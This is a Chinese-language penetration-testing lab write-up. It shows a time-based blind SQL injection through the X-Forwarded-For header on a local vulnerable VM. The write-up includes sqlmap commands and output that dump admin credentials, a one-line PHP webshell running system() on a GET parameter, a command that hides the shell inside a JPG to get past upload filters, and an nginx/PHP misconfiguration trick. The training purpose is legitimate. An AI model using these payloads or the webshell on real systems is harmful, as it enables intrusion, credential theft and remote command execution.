环境配置

虚拟机1

  • Debian x64
  • NAT Network

虚拟机2

  • Kali Linux
  • NAT Network

虚拟机2的 hosts 文件添加以下内容

1
虚拟机1的ip地址   vulnerable

信息收集

熟悉的页面 x1 ,不过这里用的是 nginx

直接在 cat.php 页面上尝试 SQL 注入,未果

漏洞发现

使用 Burp Suite 抓包,尝试在 HTTP 头部的其他字段进行 SQL 注入,根据实验手册这里对 X-Forwarded-For 字段尝试,X-Forwarded-For 用于指明客户端的 IP 及其代理服务器

利用了基于时间的盲注入,从结果来看这个字段的确存在 SQL 注入漏洞

漏洞利用

手工利用

既然 sleep 都执行成功了,那么可以用就 老方法 推测数据库、数据表、字段的名称,结合 asciisubstr 函数,并利用条件语句和延迟机制。

sqlmap

用 sqlmap 测试 X-Forwarded-For 字段,--banner 表示获取数据库管理系统的标识

1
2
# DBMS 标识
sqlmap http://vulnerable/ --headers="X-Forwarded-For: *" --banner

以下为部分输出结果,检测到基于时间的盲注入漏洞,后台使用 MySQL 数据库并且版本大于等于 5.0.12

1
2
3
4
5
6
7
8
9
10
---
Parameter: X-Forwarded-For #1* ((custom) HEADER)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: ' AND (SELECT 7055 FROM (SELECT(SLEEP(5)))KpAv) AND 'CTxL'='CTxL
---
...
web application technology: PHP 5.3.3, Nginx 0.7.67
back-end DBMS: MySQL >= 5.0.12
banner: '5.1.66-0+squeeze1'

获取所有数据库信息,得到 2 个数据库

1
2
3
4
5
6
sqlmap http://vulnerable/ --headers="X-Forwarded-For: *" --dbs

# 输出结果
available databases [2]:
[*] information_schema
[*] photoblog

获取 photoblog 数据库的数据表信息,得到 4 张表

1
2
3
4
5
6
7
8
9
10
11
sqlmap http://vulnerable/ --headers="X-Forwarded-For: *" -D photoblog --tables

# 输出结果
Database: photoblog
[4 tables]
+------------+
| categories |
| pictures |
| stats |
| users |
+------------+

获取 users 表的字段,得到 3 个字段

1
2
3
4
5
6
7
8
9
10
11
12
13
sqlmap http://vulnerable/ --headers="X-Forwarded-For: *" -D photoblog -T users --columns

# 结果
Database: photoblog
Table: users
[3 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | mediumint(9) |
| login | varchar(50) |
| password | varchar(50) |
+----------+--------------+

获取 users 表的数据,--batch 表示使用默认值,不询问用户

  • 获取到密码后尝试爆破
1
2
3
4
5
6
7
8
9
10
11
sqlmap http://vulnerable/ --headers="X-Forwarded-For: *" -D photoblog -T users --dump --batch

# 结果
Database: photoblog
Table: users
[1 entry]
+----+-------+---------------------------------------------+
| id | login | password |
+----+-------+---------------------------------------------+
| 1 | admin | 8efe310f9ab3efeae8d410a8e0166eb2 (P4ssw0rd) |
+----+-------+---------------------------------------------+

Webshell

利用得到的用户名 admin 和密码 P4ssw0rd 登录管理后台,利用文件上传获取 Webshell

尝试上传 shell.php 失败,改后缀名进行绕过也失败

1
2
3
4
5
<?php

system($_GET['cmd']);

?>

将 Webshell 拼接到图片中后上传,成功绕过

1
cat 0.jpg shell.php >> fake.jpg

回到主页后发现图片上传成功,并显示成功,但其中的 PHP 代码没有被解析

利用 Nginx/PHP 的错误配置,将文件解析为 PHP 文件,详见 Setting up PHP-FastCGI and nginx? Don’t trust the tutorials: check your configuration!

参阅